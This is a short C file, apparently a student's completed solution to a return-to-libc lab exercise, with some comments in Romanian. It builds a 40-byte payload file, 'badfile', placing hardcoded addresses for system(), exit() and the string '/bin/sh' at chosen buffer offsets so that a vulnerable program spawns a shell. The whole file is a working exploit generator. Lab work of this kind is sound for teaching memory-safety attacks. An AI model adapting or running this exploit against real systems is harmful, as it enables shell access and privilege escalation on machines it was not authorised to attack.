exploit.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buf[40];
  FILE *badfile;

  badfile = fopen("./badfile", "w");

  /* You need to decide the addresses and
     the values for X, Y, Z. The order of the following
     three statements does not imply the order of X, Y, Z.
     Actually, we intentionally scrambled the order. */

  *(long *)&buf[32] = 0xbffffdef; //  "/bin/sh" => X = ebp + 12 => punem 0xbffffdef
  *(long *)&buf[24] = 0xb7e42da0; //  system() => Y = ebp + 4 => punem 0xb7e42da0
  *(long *)&buf[28] = 0xb7e369d0; //  exit() => Z = ebp + 8 => punem 0xb7e369d0

  fwrite(buf, sizeof(buf), 1, badfile);
  fclose(badfile);

  return 0;
}